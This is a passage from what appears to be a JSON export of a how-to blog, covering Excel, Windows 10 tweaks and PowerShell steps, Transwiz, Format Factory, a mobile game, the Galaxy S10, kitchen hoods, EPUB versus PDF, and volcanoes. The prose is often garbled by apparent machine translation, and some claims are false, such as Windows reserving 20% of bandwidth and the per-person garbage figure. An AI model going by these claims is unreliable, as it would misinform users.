once in the Find What box and in the Replace with box you do not enter anything. Click Replace All to remove the space between numbers.\n  If there are spaces in the middle of the numbers, then click Replace All again until no spaces are found, turn off Find \u0026amp; Replace . All spaces you select will have their spaces removed.\n  Above are ways to help you can delete spaces between words, remove spaces between numbers in Excel. Hopefully the article will help you in working with Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYysp5qblah6qrqMnq%2BcnZw%3D\n","link":"/post/how-to-remove-spaces-in-excel/","section":"post","tags":null,"title":"How to remove spaces in Excel"},{"body":"Microsoft has deleted Easy Transfer from Windows 10, but you can still move User profiles between PCs. You can use your Microsoft account and then manually move files or use the free software Transwiz.\nHow to restore Windows User Profile 10 3 ways to Backup Profile in Windows 7 Transfer data between computers Easy Transfer is used to make things easier Microsoft introduced Easy Transfer in Windows Vista and supported it in Windows 7, 8 and 8.1. This is a great free tool to transfer user settings and profiles from old computers to new computers. Starting Windows 8, you can choose to log in with a Microsoft account on a computer and then log in with the same account on another device to transfer multiple settings.\n  When Microsoft released Windows 10, it no longer used Easy Transfer but opted to cooperate with Laplink and in the short term provided free access to PCmover software. However, now you cannot use the software for free, but need to pay 30 USD to use it.\nSo what is the best way to transfer Windows User Profile? There are a few reliable options to convert your account like: switch local accounts to Microsoft accounts or use free software like Transwiz. Each of these methods has its own advantages and disadvantages.\nConverting a local account into a Microsoft account is a free and easy way to do so. You don't need to download any software outside but can't convert everything like files not in OneDrive, install third party apps like Photoshop. TransWiz is a free and easy-to-use software to transfer a profile account from one device to another. If there are several profiles, you need to export and import each profile because it cannot process multiple accounts at once. In addition, this tool also cannot transfer the account you have logged in so you will need at least two accounts on the source machine. You also need an external hard drive to transfer data. Option 1: Use Microsoft account and transfer files   If you are using Windows 8.1 or Windows 10, your Microsoft account user profile will automatically switch when you log in to the same account on another device. If you are using a local account, you should consider switching to a Microsoft account to perform file transfers. And in addition, some features like OneDrive and device encryption will not work if using a Microsoft account.\nHowever, using this Microsoft account does not actually move anything, you still need to manually convert important files and reinstall the program. This is just a quick way to bring your Windows installation and cloud suite to another computer.\nThe conversion process is easy especially when you already have a Microsoft account. If not, you can create an account according to the instructions in the Quick Guide to creating a Microsoft account.\nYou need to start on the computer with the account you want to transfer. Click on the Start button, access and install, select Accounts\u0026gt; Sign in with a Microsoft account and follow the setup instructions.\nNext, move the data manually using the File History tool of Windows 10. After connecting the hard drive, go to Settings\u0026gt; Update \u0026amp; Security\u0026gt; Backup , select your external hard drive.\n  Windows will start creating automatic backups. By default, backups include Desktop, Documents, Downloads, Music, Pictures and Videos folders. If you want to add additional folders, click More options and select the folder you want to add.\nPlug your external hard drive into a new device. Go to Settings\u0026gt; Update \u0026amp; Security\u0026gt; Backup and set the file history again with an external hard drive. Click More options , scroll down (via the list of folders) and click restore files from a current backup .\n  Browse to your most recent backup, select the folders you want to restore and then click the green button. You will need to reinstall the program to complete the process.\nInstructions for using File History to backup and restore data Option 2: Use TransWiz software   Transwiz is a great option when you want to transfer one or two local accounts and don't want to switch to a Microsoft account. You still need to transfer everything manually using an external hard drive like the one above.\nFirst, download and install Transwiz on both computers. On the old computer, if there is only one profile, create another account with admin rights, then switch to it. If there are more than two records, make sure at least these two accounts have admin rights and change to any profile you don't transfer. As mentioned above, Transwiz cannot transfer the profile you are currently logged in to.\nhttps://www.forensit.com/Downloads/Transwiz.msi  Start Transwiz and select I want to transfer data to another computer and click Next , then select the profile you want to convert and click Next .\nSelect the external hard drive as the storage location, click Next . Then enter the password if any, if not leave the two fields blank and click on OK .\nTranswiz will create a zip file on the external hard drive, transfer the hard drive to the new device, open Transwiz there and select the data recovery option. Just go to the zip file on the drive (you don't need to extract it) and Transwiz will do the rest. The computer will restart to complete the transfer process.\nTranswiz transfers user profiles, but does not have any data. If you want your files and folders, use the History File described above. You will also need to reinstall the program.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZK6rlad6sb7On6ClnV2pvG6tzairoZ2iYsSqusOorqxlYWV6pLvMqaytnaI%3D\n","link":"/post/how-to-transfer-user-profile-to-another-windows-10-computer/","section":"post","tags":null,"title":"How to transfer User Profile to another Windows 10 computer"},{"body":" Free software Version: 5.5.0.0 Update date: February 16, 2020 Platform: Windows Download Format Factory 5.5.0.0 here.\nEvery media user needs a suitable file converter, and Format Factory is especially good for those who use photo, music or video files. You can convert music files in MP3, WMA, OGG, AAC, WAV, etc. format, video in MP4, 3GP, AVI, WMV, SWF, etc . format and convert images to JPG format. , BMP, PNG, TIF, as well as even Google's WebP format. Users no longer need to download multiple programs to convert files or rely on sluggish online tools. Format Factory is powerful, customizable and completely free.\nFormat Factory software supports the following formats:\nVideo format:\n3GP (.3gp) MPEG-1 (.mpg) Matroska (.mkv) Flash Video (.flv) SWF (.swf) MPEG-4 Part 14 (.mp4) Audio Video Interleave (.avi) Windows Media Video (.wmv) RealMedia Variable Bitrate (.rmvb) VOB (Video Object) (DVD file) (.vob) QuickTime File Format (QTFF) (.mov) Audio format:\nMP3 Ogg Wave Sound (.wav) Adaptive Multi-Rate (.amr) Windows Media Audio (.wma) Advanced Audio Coding (.aac) MIDI (.mid) Image format:\n.JPG .PNG .ICO .BMP .GIF .TIF .TGA  Format Factory features Multimedia format conversion Some files run fine in their native apps or in the Windows operating system, but get stuck or fail to open with other apps or in macOS. Not all applications or operating systems support or recognize all file extensions.\nYour files are not deleted, even if you cannot see them on your file explorer. If they appear, you'll see an empty box or a question mark in place of the file icon. You will get your files back, if you change their format to a format your operating system can recognize, or you can open it with an application installed on your computer.\nFormat Factory's all-purpose free download can also reduce the size of heavy files. Some formats shrink files without losing quality of content. This is convenient for backing up digital information so that more files can fit on a USB, CD-ROM, DVD or Blu Ray disc.\nVideo file format for PC, web and smartphone The MP4 file type is perfect for downloading Internet videos or copying DVDs to your computer. To upload your favorite videos to the web, you'll want to consider converting your MP4 files into MPG files with the free Format Factory app. It is recommended that you convert the 3GP videos of your old phone to MP4 so that they can be played on the newer phone.\nTo make sure the video on your PC can be played on your tablet, you can use the format converter to turn Flash FLV files, Windows WMV files and Shockwave SWF files into AVI or MP4 files of suitable size. all devices.\nAudio formats for different purposes Are you upset about losing all your beloved song files when switching from your old Macbook to a new Windows PC? Do not worry! You won't have trouble playing your favorite songs if you use Format Factory for Mac to change your WAV song files to a popular MP3 format, played on any device.\nIf you need high quality audio of phone conversation as evidence, you may want to convert the AMR codec to an AAC Advanced Audio Coding file that will play in the audio editor and be able to split the audio into files. track front and background (background music).\nImage files for all projects Let's say you want to turn the JPG image on the camera into part of a TGA Truecolor animated video for a professional animation project. You want to cut that image and paste it into the video file, but it needs to be in the same format for the video editor to be able to paste it. You can convert that JPG image with Format Factory software.\nIf you need small but best quality images for ads, try changing the scanned TIF image to PNG without copyright restrictions and a transparent background. Similarly if you want to reduce the bit size of a large BMP bitmap on your PC down to a much smaller JPG that you can use on your website. The File Factory converter can also perform compression.\nWhat if you had a two-frame GIF animation you'd like to use as an icon instead of a button? It doesn't have an ICO format suitable for that. You will need to use your format converter. And if you want your company logo's watermark file to appear as a background on your newsletter, turn that ICO image into a WordArt watermark.\nEasy PDF converter to edit If you want to extract images from downloaded PDF files or edit text in Word, the Format Factory app has a tool for that. The Portable Data Format ensures the presentation of the page content exactly as you see it on your computer screen. It will not allow you to edit.\nPDF files are great for printing or posting online, preventing anyone from making changes. If you want to edit or copy an element of the page to another file, convert it to Microsoft Word DOC or DOCX file or TXT text file or save the extracted image as JPG.\nCombine different files into one Besides supporting all the file formats for video, audio, image and text mentioned above, Format Factory also has AVI-Mux enabled. This means that the app can combine two or more videos into one longer movie, several soundtracks into a continuous audio file, and different subtitle scenes into one text file. This is a lifesaver for backups.\nThe software allows you to store all your files on DVD, CD or USB disc to take these multimedia content with you anywhere. If you want to save space on your hard drive, Format Factory Portable allows you to download apps straight to your mobile device without having to install them on your computer.\nFind the most suitable file The powerful, multifunctional tool Format Factory comes with a free Windows download and can convert all popular media file formats for video, audio, images and text. That's a big help in today's rich digital world. Whether you're a computer-savvy professional or a lover of YouTube videos and music, this format converter can make your life more comfortable.\nFormat converters can save you hard drive space and money as you won't have to buy additional apps to run different types of files. If you want to compare different conversion apps and decide which one you like, you can try the converter Wondershare, XMedia Recode, and its mobile version, or Freemake, as each app has one. own platform.\nAdvantages\nConvert files like AVI and MP4 Extract files to CD and DVD Reduce file size Version updated every few months No need to install on your PC (portable version) Defect\nThe portable version crashes sometimes Format Factory ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymarqGWUpMSvuM6am2aen6e6osCMn5icrJ%2Bnxm6BlGln\n","link":"/post/link-to-download-format-factory-5-5-0-0/","section":"post","tags":null,"title":"Link to download Format Factory 5.5.0.0"},{"body":"This Cross Worlds game has a lot of different elements that make it stand out from previous Ni no Kuni games. One of the most significant changes is that players can choose to have their characters move automatically in battle and on the field.\n  Ni no Kuni: Cross Worlds players can relax while their character automatically goes to the next part of the quest and defeats the enemy without lifting a finger. However, not all players want to experience the automatic feature that Cross Worlds brings.\nFortunately, auto-battle and auto-play can be turned off and on at any time during the adventure. In this article, let's learn how to enable/disable auto-play and auto-battle (Auto-Play and Auto-Battle) in Ni no Kuni: Cross Worlds.\nHow to turn off Auto-Battle mode in Ni no Kuni: Cross Worlds To turn off auto-battle in Ni no Kuni: Cross Worlds, players need to tap on the two crossed swords icon at the bottom of the screen during battle.\nIt should be right next to Ni no Kuni's Familiars list. Players can tap it to make their character auto-fight, computer attack and use special skills or abilities.\n  If the icon is hit again, the player can put it on semi-automatic mode, meaning the player character will continue to attack on its own, but no skills will be used.\nIf the player presses this button a third time, the auto-battle will be turned off completely and everyone can take full control of the character's combat actions.\nHow to turn off the Auto-Play feature If the player looks to the left side of the screen, the quests are currently available. By tapping on one of the quests, it will glow and everyone will automatically move to the next location or NPC needed to complete the quest.\n  To disable Auto-Play, simply tap the mission again and the player characters will stand still, waiting for the player to take control again.\nFor those just starting out, make sure to take advantage of the currently active Ni no Kuni: Cross Worlds codes for lots of freebies. Besides, you can refer to the Ni no Kuni: Cross Worlds Guide for beginners to understand more about the game.\nNi no Kuni ncG1vNJzZmismaXArq3KnmWcp51ku6p5zahkpK2ennqkvs6sqmavn6e5pb%2BMoaawZaSkerXB0adkqJ6WYq62wM6bmK2snJp6orrDZpiurJ%2BluaLF\n","link":"/post/ni-no-kuni-cross-worlds/","section":"post","tags":null,"title":"Ni no Kuni: Cross Worlds"},{"body":"On February 21, Samsung officially introduced its flagship smartphone lineup at the new Galaxy S10 at the Unpacked 2019 event, containing all the interesting things you can expect from a manufacturer. great. However, if you are or have ever owned one of the other flagship models that Samsung has released in the last 1 or 2 years like Galaxy S8, S8 Plus, S9 or S9 Plus, now is the right time to Sit down, take a breath and think carefully about whether it's time to upgrade your old phone to the Galaxy S10.\nAny upgrade is the same, there are many factors that need to be weighed to bring the best financial performance. For example, is the design and screen of the new phone better than the current model you are using? Will the camera give better quality photos? Is the battery life much improved, as you expect? Or does this device have any new features you really want? These are just a few of the dozens of questions you will have to answer before deciding to upgrade to a newer phone.\n  Going back to our case, now you have to thoroughly understand the new Galaxy S10 and S10 Plus to see what improvements these two products contain, what is more valuable than the predecessor models (currently There is also a low-end model of the Galaxy S10E, which is not suitable for this comparison but it is worth considering if you are a loyal fan of Samsung while the investment budget to upgrade the machine is not too Surplus).\nNote that below are just specs based on specifications, you should also wait and refer to the detailed reviews as well as the professional experience of the experts, probably in a few days. . However, analyzing the differences in specifications will be a prerequisite to help you decide whether to invest in a new phone or are satisfied with what you have. Please come to the following specific situations.\nSummarize the content that Samsung announced at the Galaxy Unpacked 2019 event Upgrade to Galaxy S10? If you want a larger display space, upgrade to Galaxy S10 Improved design Want a bigger storage space? What about battery life? Do you want to own a better camera? What is your final decision? If you want a larger display space, upgrade to Galaxy S10 When introduced two years ago, the Galaxy S8 and S8 Plus made quite a buzz with the Infinity screen technology (infinity display), giving an 18.5: 9 display ratio on 5.8-inch and 6.2-inch screens. This screen size makes the display space as stretched, narrower, suitable for tasks such as surfing the web, watching entertainment videos. When the Galaxy S9 and S9 Plus were released, the screen size and aspect ratio were basically the same as the predecessor, but were optimized for better benzel edges, increasing the screen / front area ratio. , while reducing the overall size of the machine.\n  However, on the Galaxy S10 and S10 Plus, the story is completely different. The S10 has a 6.1-inch screen - nearly as big as the previous Plus models - with an aspect ratio of 19: 9, while the S10 Plus's screen measures 6.4 inches, equivalent to a phablet. More importantly, the 'screen punch' technology only dotted a tiny black dot for the sensor cluster and the front camera, allowing these products to have a higher screen coverage ratio on the front. counting, up to more than 93%. It can be said that this is the largest screen performance ever, considering both size and coverage.\nIf the screen size is not large enough, you can wait for the upcoming Galaxy S10 5G model and is expected to own a 6.7 inch screen. Or if your wallet is full, you can also think of Galaxy Fold, the world's first commercial folding smartphone, that can flexibly switch between a 4.6-inch smartphone and a 7.3-inch tablet with just a few. Simple Fold. The Galaxy Fold will be officially released on April 26th.\nOne plus point on Samsung's newer products that you need to keep in mind is that although the screen is bigger than the old one, the overall size of the phone doesn't change much or even even more compact - largely due to the manufacturer's very good screen optimization capabilities. In fact, the 5.9 x 2.77 x 0.30 inch (S10) and 6.20 x 2.91 x 0.30 inch (S10 Plus) specs have shown that the two new phones are about the same size as the S8 and S8 Plus, just bigger than one. bit compared to the S9 and S9 Plus, while owning a much larger screen.\n  In addition, it should be added that the weights of the S10 and S10 Plus are slightly lighter than their predecessors, namely 156gram (S10) compared to 163gram (S9), and 175gram (S10 +) compared to 189gram (S9 +).\nBesides screen size, resolution is also an indispensable factor. While the S8 and S9 series have a resolution of 2960 x 1440, the S10 and S10 Plus will have a resolution of 3040 x 1440 QHD +. All 3 screens of the 3 S10 models are bright, sharp, and brilliant, but S10e is less sharp because it uses only Full HD panels instead of Quad HD, and the S10e itself does not bend. toward the edge of the machine like the other two models.\nIn summary in this category, it can be concluded that upgrading to S10 and S10 Plus is perfectly reasonable if you want to own a larger and sharper screen.\nCompare Galaxy S10E and iPhone XR: Where is the flagship model worth spending? Improved design If you are interested in the smartphone market, it is not difficult for you to realize that from behind Galaxy S5, Samsung has completely changed its design philosophy for the S series. They are very hard to change, the appearance of these Galaxy S is always upgraded, improved year by year and Galaxy S10 is no exception.\n  Like the Galaxy S9, both new S10 devices have curved top and bottom edges, 3D glasses, USB-C charging ports and thank goodness! The 3.5mm headphone jack has not been removed yet. The dedicated Bixby boot button, too, is still there, but has been reprogrammed in a smarter way. However, there are still some major design changes that we must mention.\nIn both phones Galaxy S8 and S9, fingerprint sensor is still the traditional type placed on the back, close to the camera cluster, making users encounter many difficulties in operation and this minus point has also helped 'Samsung received a lot of' stone tiles' from users. Finally after 2 years of receiving 'enough bricks' to build a new headquarters, they also changed this detail, and even changed it thoroughly and excelled. The Galaxy S10 has completely removed the fingerprint sensor on the back, in return, the new ultrasonic fingerprint technology has been integrated straight into the front screen - helping to set a new standard for electric unlocking. The phone is more effective and something 'more artistic', 'more elegant'.\n  Samsung is one of the few phone manufacturers that can increase their screen size without adding or removing any area to make room for the front camera.\nIn general, on the outside appearance, Galaxy S10 still exudes a luxurious \"spirit\", \"fine scallop\", slender and glamorous tradition that Samsung has tried to build from Galaxy S6. Not to say that this is not only a phone, but it is also a technology jewelry that helps you make a difference in the crowd.\nSamsung introduced Bixby Routines, AI technology that can learn habits and anticipate user needs Want a bigger storage space? You need more storage space? Galaxy S10 is the largest integrated memory smartphone on the market today. If you are using S8 or S9 (or Plus version), then with a minimum of 64GB of storage, I bet you have taken no time to consider what to keep, delete something to Create the necessary storage space needed in emergency situations (video recording, application updates). Galaxy S10 will 'pay' quickly this issue for you. Galaxy S10 starts with a minimum storage capacity of 128GB and has a 512GB version. The S10 Plus even offers twice the amount of storage space, along with an incredible version, up to 1TB.\n  It's about storage space (ROM), and for random access memory (RAM), Samsung has also done an 'extremely powerful' upgrade phase. While the Galaxy S8 and S9 come with 4GB of RAM (S9 Plus provides 6GB of RAM), the S10 and S10 plus are all equipped with 8GB RAM, and the 1TB version of the S10 Plus will also be equipped with up to 12GB of RAM, not inferior to the most advanced laptop models today. Such amount of RAM ensures gaming ability as well as multitasking 'not thinking' on Galaxy S10.\nConfiguration and price of Galaxy S10 trio, Samsung's super series has just officially launched What about battery life? All processing power, sharp screen or a good gaming experience all need a good battery life. If you own S8 or S9, it is also known how powerful the 3,000mAh battery (S8 Plus and S9 Plus is 3,500mAh) on these two devices. As for the Galaxy S10 and S10 Plus, although there are no specific battery reviews, if we look at the parameters, we can see the obvious improvement, with S10 is 3400mAh, while the S10 Plus goes Comes with a powerful 4.100mAh battery. However, if you think about upgrading, you should also think about how this battery will work after a few years of use. For this, you can refer to the results with S8 and S9.\n  Speaking of charging technology, the new Galaxy S10 will be equipped with backward compatible wireless charging technology, which means you can use this phone directly to charge headphones or other devices that support wireless charging. . Of course this is not really a good reason to upgrade, but it will definitely be worth considering.\nSamsung launched Galaxy Fold, 7.3inch folding screen smartphone, 12GB RAM Do you want to own a better camera? Camera is one of the most improved and upgraded features on smartphones. Therefore, hardware and software improvements to the phone's camera are also a good reason for many people to decide to upgrade their equipment. The sensors in the rear camera cluster on many of the top Samsung smartphones were often highly appreciated. The Galaxy S8 and S8 Plus have proven their power with the 12 megapixel dual camera cluster, the f / 1.7 aperture. Galaxy S9 Plus has also lifted the 'mobile photography' range of smartphones with a dual camera system including a 12 megapixel wide-angle lens with a f / 1.5 and f / 2.4 wide aperture, along with a 12 megapixel telephoto lens. f / 2.4.\n  Following that tradition, this year Samsung has made some noticeable improvements to the camera cluster on the S10 as well as the S10 Plus. Both devices are equipped with Samsung's new 3 (triple-camera) camera system, made up of 1 12 megapixel f / 2.4 telephoto lens, 1 12 megapixel f / 1.5 wide-angle lens and finally the lens for ultra-wide angle 16 megapixel f / 2.2 (up to 123 degrees, more than the human eye). Besides, the S10 and S10 Plus both have 10 megapixel f / 1.9 sensors on the front, with the S10 Plus will have an 8 megapixel f / 2.2 sensor.\nAt the same time, the ability to shoot 4k videos, along with artificial intelligence, make Skin Optimizer, help to automatically recognize the surrounding landscape to support the most realistic works, the software elements are also typed. very high price.\n  In short, if you are interested in the ability to take pictures on mobile devices, upgrading to Galaxy S10 and S10 Plus is worth considering.\nTop best photography smartphone in 2018 What is your final decision? If you want a bigger, sharper screen, more comfortable storage, better battery and camera as well as a more innovative design, the answer is probably: SHOULD BE UPGRADED! However, there is still the first and most important issue that you must consider, which is the selling price.\n  These are all high-end phones and they are being sold at very high prices. Galaxy S10e is expected to cost 699 USD (about 16.3 million VND), Galaxy S10 will start at 899 USD (about 20.9 million VND) and Galaxy S10 + from 999 USD (about 23.3 million VND) for RAM and memory options the shortest. The most advanced version of Galaxy S10 + (1TB memory, 12GB RAM) can be up to 1,500 USD (about 34.9 million VND). These are all small numbers, consider carefully before withdrawing your purse.\nIf, after this article, it is still not possible to decide whether to upgrade to S10, you can wait for the expert's full experience review, likely to appear only in one or two more weeks. At that time, if the actual test showed that the Galaxy S10 and S10 Plus met all the promises Samsung had made, it was much easier to decide whether to upgrade.\nWishing you the best choice!\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWXlrmixNhmqmpoXZ7Abq2MoKmemaRivbO7w66arWWSqsFutdJmoK1lp6S%2FtbSMrZ%2BeZaWltLOtw54%3D\n","link":"/post/samsung-galaxy-s10-is-a-great-product-but-is-it-worth-the-upgrade/","section":"post","tags":null,"title":"Samsung Galaxy S10 is a great product, but is it worth the upgrade?"},{"body":"There are many reasons why your computer is unusually slow to connect to the Internet: it may be due to a hardware device, the website you are visiting, . And once the network connection speed is slow, you have to wait to load a page is really annoying and annoying. At times like that you just want to 'throw' your computer away.\nIf you feel that your Windows 10 computer has an unusually slow Internet connection, you can apply some of the following solutions to overcome the situation.\n1. Activate Limit Reservable Bandwidth: Windows 10 does not give you 100% connection speed. Microsoft has always reserved 20% of the system's total bandwidth to use for other purposes such as Windows Update and controlling users' computers. But you can completely remove this mode and use the entire bandwidth to speed up internet connection.\nTo do this, follow the steps below:\nStep 1 : First open the Run command window by pressing the Windows + R key combination.\n  Step 2 : On the Run command window, enter gpedit.msc there and press Enter or click OK to open the Group Policy Editor window.\nStep 3 : On the Group Policy Editor window, navigate to the key:\nComputer Configuration =\u0026gt; Administrative Templates =\u0026gt; Network =\u0026gt; QoS Packet Scheduler\n  Step 4 : Here you will see the Limit reservable bandwidth option . Your task is to enable Limit reservable bandwidth and set the value to 0 , by default the value is set to 80 .\n  Finally click OK and reboot your system. And from now on the speed of Internet connection on your Windows 10 computer will be much faster.\n2. Turn off Update Windows: Microsoft has added a dedicated option on Windows 10 that is 'bringing' an update to a computer on Local Network or Internet on the system. Obviously this will affect the connection speed on your system.\nHowever, you can disable this feature to speed up Internet connection on the system.\nStep 1 : Click the Start button and select Settings or the fastest way is to press the Windows + I key combination to open the Settings window.\nStep 2 : On the Settings window, find and select Update \u0026amp; Security .\n  Step 3 : On the Update \u0026amp; Security window you will see the Advanced options. Your task is to select that option.\n  Step 4 : Access Choose how updates updates are delivered .\n  Step 5 : Remove any items below the Windows window to turn off that option.\n  3. Clear the browser cache and cookies: Sometimes in some cases, if there are too many cookies and corrupted cache, it may cause the speed of your Internet connection. Therefore it is recommended to delete cookies and cache.\nYou can delete cookies and cache manually or alternatively use the second application such as CCleaner.\nIf your computer does not have CCleaner installed, you can download CCleaner and install it here.\n4. Change the DNS Server address: By default Windows will automatically select the DNS server address. However, you can specify a specific DNS server to speed up your Internet connection.\nStep 1 : Open the Network and Sharing Center window by right-clicking on the network icon in the system tray, then selecting Open Network and Sharing Center .\nIn the Network and Sharing Center window, click Change adapter settings .\n  Step 2 : Select the network you are connecting to, then open the Properties window. (Press Alt + Enter or right-click the network connection icon and select Properties).\n  Step 3 : Select TCP / IPv4 then click Properties .\nStep 4 : Select Use the following DNS server addresses , then enter the values ​​below:\n8.8.8.8 (Preferred) 8.8.4.4 (Alternate) Or:\n208.67.222.222 (Preferred DNS Server) 208.67.220.220 (Alternate DNS Server).   In addition to the above solutions, you can refer to some other solutions to speed up Internet connection on Windows 10 computer here.\nRefer to some of the following articles: Fixing the error 'WiFi doesn't have a Windows 10 configuration IP validation' This is a way to prevent hackers from stealing your data when using public Wifi Wifi on Windows 10 does not connect after starting from Sleep mode Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLGxxJ1kXn1iWoVxcZd7XH5qVW19ZoShrqdmoZ6psrO6xK1knKeeo7KkwMiopWannmLEqrrDqK6sZWFleqS7zKmsrZ2iqA%3D%3D\n","link":"/post/speed-up-internet-connection-on-windows-10-computers/","section":"post","tags":null,"title":"Speed ​​up Internet connection on Windows 10 computers"},{"body":"Most users tend to remove apps on Windows 10. The simple reason is that these app interfaces make users confused.\nRemoving the app is extremely simple, you can remove each app one by one or remove dozens of apps at once. However, if you remove all the apps, which means that the Windows Store app will be lost, you can't install any new apps. So how to reinstall or restore the Windows Store on Windows 10 after it has been removed with PowerShell.\nTo restore or reinstall the Windows Store on Windows 10 after uninstalling with PowerShell, follow the steps below:\n1. Run PowerShell under Admin\nOpen the Start Menu by pressing Windows, then enter Powershell in the Search box, right-click Windows PowerShell and select Run as Administrator.\nAlternatively, you can press Ctrl + Shift + Enter to open PowerShell under Admin.\n  2. Next enter the following command into the PowerShell window:\nGet-Appxpackage –Allusers\n3. At the output, look for the Microsoft.WindowsStore port. Then search for text PackageFileName.\n  Next run PowerShell command under Admin, replace ****** with PackageFileName above to restore Windows Store:\nAdd-AppxPackage -register \"C: Program FilesWindowsApps ****** AppxManifest.xml\" -DisableDevelopmentMode\nFor example, the above example is:\nAdd-AppxPackage -register \"C: Program FilesWindowsAppsMicrosoft.WindowsStore_8wekyb3d8bbweAppxManifest.xml\" -DisableDevelopmentMode\nRefer to some of the following articles: When and how to defragment hard drives on Windows 10? How to remove all available applications on Windows 10? Windows Store on Windows 10 is faulty, this is a fix Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddp7K0wM6rnGavmaOxsMPSZqqtp6KaerC6jLCgp5yfrMBufY9mmJ%2Bslad6s7HMqK2apA%3D%3D\n","link":"/post/steps-to-restore-windows-store-on-windows-10-after-removal/","section":"post","tags":null,"title":"Steps to restore Windows Store on Windows 10 after removal"},{"body":"Hoods are no longer strange to families, because of their durable performance and efficiency in use, helping the kitchen space become more pleasant after cooking. So, what is a hood and what kind of hoods are there? Please refer to the article below to better understand.\nHood hood concept Hood is a type of machine used in the family kitchen, restaurant . with structure consisting of a suction hood, a twin / single turbine engine or exhaust fan. Filter net is usually made of aluminum or stainless steel with different thickness, along with the control panel can be a button or touch to help you set the operation mode for the machine.\n  Depending on your family's kitchen design, you should use activated carbon or take pipes to suck and deodorize. A simple removable filter element makes it easy to clean the machine after use.\n\u0026gt;\u0026gt; More reference:6 Criteria to buy the best type kitchen hood hood\nTypes of hoods Hoods on the market today are very diverse in design and design, but in terms of categories, there are only three main types:\nVacuum hood sound cabinet - traditional   This type of machine is quite popular with consumers because the price from 5 - 7 million is suitable for money, easy to install with existing kitchen cabinets.\nType of cabinet installation will help save kitchen space effectively. In some products, when you use, you just need to pull out and collect when you're done creating the neat and tidy for your kitchen.\nIsland smell machine - independent   This type of machine is usually designed with sophistication, luxury and more modern, so it is suitable for apartments, high-class apartment buildings, both use the smell and make the kitchen decoration more prominent. Hood with chimney has 2 small types including curved glass pedestals, flat glass supports. Suction capacity of this hood series ranges from 700m 3 / hour to 1200m 3 / hour. With a price of 8-15 million, some features such as adjusting wind speed, lights, deodorizing activated carbon, self-turning smoke sensor, remote control, and fully equipped timer on this product line. Features of the hood:   Hoods help the environment to be pleasant\nClean smoke, filter and deodorize fishy and fishy meat during cooking. Filter grease from fried dishes with a removable metal filter for cleaning. Heat the heat when tunneling, cook food with great heat. Filter hazardous waste generated during cooking brings a clean, clean environment for your kitchen space. Hoods can be used for both traditional houses, apartments, luxury apartments . Above is information about the hood and the application of the hood, to immediately buy a quality hood for your family.\nThank you for watching\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRYrWwu8Nmq7Kolah6sLKMoaaonKM%3D\n","link":"/post/what-is-a-hood-types-of-hoods/","section":"post","tags":null,"title":"What is a hood? Types of hoods"},{"body":"Electronic books have forced the electronic publishing industry to always be at the forefront of modern technology. Amazon Kindle, Barnes \u0026amp; Noble Nook and Sony Reader are affordable digital libraries. In today's electronic publishing world, 2 of the most popular eBook format are EPUB and PDF. Choosing which format to use can be a bit tricky, so today's article looks at both options to find the benefits and drawbacks of each format.\noverview PDF\nUniversal format that most devices can open. Powerful graphic tool for editing. Many programs can open and create PDF files. EPUB\nSpecially designed format for eBooks. Advanced format options. Works well with e-reading tools. Based on HTML, makes this format highly adaptable. Let's take a look at some of the advantages and disadvantages of both EPUB and PDF formats for the electronic publishing environment.\nPros and cons of the PDF format  Advantages\nThe most widely used electronic document format worldwide. It is independent of the operating system and hardware of the document viewer, which means the PDFs look the same on every device. Great for customizing, giving you control over layout and fonts.\u0026nbsp; Made easy, often using GUI-based tools from companies outside of Adobe. Defect\nThe code needed to create a PDF file is complex and, in the software developer's view, difficult to master. Converting PDF files to web-friendly format is also difficult. PDF files are not easily reflowable (the letters can be enlarged, reduced, changed font to fit the screen size of the reader) and do not adapt well to screens and devices of different sizes. . Therefore, it is difficult to see some PDF files on the small screen, which comes with a reader and a smartphone. Portable Document Format (PDF) was created by Adobe Systems in 1993. PDF provides files in a two-dimensional layout, operating independently of most software and operating systems. To view PDF files on your computer, you must have a PDF reader like Adobe Acrobat Reader.\nPros and cons of EPUB format What is EPUB file? How to read EPUB files on phones and computers  Advantages\nWhen PDF fails to meet the needs of software developers, EPUB appears as a lifeline. EPUB is written in XML and XHTML. This means that EPUB works with most software. Distributed in the form of a ZIP file, the content archive for books in an organized manner. Platforms using XML format can switch to EPUB. The files for an electronic book in EPUB format are adjustable and easy to read on small devices. There are many tools to convert EPUB files into different formats and from other formats into EPUB. Defect\nThere are strict requirements to creating an archive for EPUB, and creating documents requires some knowledge. You must understand the syntax of XML and XHTML 1.1, as well as how to create a stylesheet. When it comes to PDF, users with the right software can create documents without any programming knowledge. However, with EPUB, you need to know the basics of the programming languages ​​involved to create valid files. EPUB is an XML format for books, editable, developed for electronic publishing. EPUB is standardized by the International Digital Publishing Forum (IDPF) and has become popular with major publishers. Although EPUB is designed for e-books by design, it can also be used for many other types of documents, such as manuals.\nConclude Choosing which format will depend on how you want to use and distribute the document. If you are looking for the most universal format, choose PDF. There are many devices that can open and view PDF files. PDFs are also ideal for the web and sharing documents that you don't want to be modified.\nEPUB is designed exclusively for eBooks. EPUB is great for electronic document readers and can use the text and size control features that these devices provide. EPUB format is also designed to publish more detailed publishing formats, often found in ebooks. If you want a universal eBook format, EPUB is the right choice.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkraCVYrGqssWeqZ6mk5p6o7HTsJyepl2avbaujJqlnWWgmbM%3D\n","link":"/post/what-s-the-difference-between-epub-and-pdf/","section":"post","tags":null,"title":"What's the difference between EPUB and PDF?"},{"body":"Currently, human waste is becoming more and more and their treatment is a problem for many countries around the world. In the US, 254 million tons of garbage is emitted each year, equivalent to 20kg / person / day. In Vietnam, each person is responsible for 200kg of garbage a year. In many countries, people often build incinerators to dispose of garbage.\nActive volcanoes filled with lava with temperatures of about 700 ° C to 1,200 ° C. With this temperature, it can burn everything like a natural incinerator. So why don't we use volcanoes to destroy garbage?\n  In fact, it is not possible to dump rubbish into volcanoes because it is not only a big expense to find a suitable volcano to implement this plan. Besides, throwing garbage into volcanoes can also cause disaster.\nCheck out the video below to get a better idea of ​​why we cannot throw waste into volcanoes for 